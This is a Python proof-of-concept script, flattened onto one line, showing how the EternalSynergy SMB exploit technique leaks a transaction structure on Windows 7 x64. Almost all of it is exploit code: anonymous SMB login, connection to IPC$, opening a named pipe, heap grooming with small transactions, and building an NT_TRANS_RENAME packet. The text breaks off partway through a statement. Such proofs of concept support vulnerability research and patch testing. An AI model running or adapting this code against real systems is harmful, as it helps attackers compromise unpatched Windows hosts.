#!/usr/bin/python from impacket import smb from mysmb import MYSMB from struct import pack import sys ''' PoC: demonstrates how NSA eternalsynergy leaks a transaction struct Note: - this PoC only test against Windows 7 x64 - all SMB request parameter is copied from capture network traffic ''' USERNAME = '' PASSWORD = '' if len(sys.argv) != 3: print("{} ".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] pipe_name = sys.argv[2] conn = MYSMB(target) # our buffer size is 4356 bytes # transaction with large reply will be splitted to multiple response conn.login(USERNAME, PASSWORD, maxBufferSize=4356) tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') conn.set_default_tid(tid) fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK # normally, small transaction is allocated from lookaside which force all buffer size to 0x5000 # the only method to get small buffer size is sending SMB_COM_TRANSACTION command with empty setup for i in range(10): conn.send_trans('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0) mid_ntrename = conn.next_mid() # create NT_TRANS_RENAME (5) request req1 = conn.create_nt_trans_packet(5, mid=mid_ntrename, param=pack('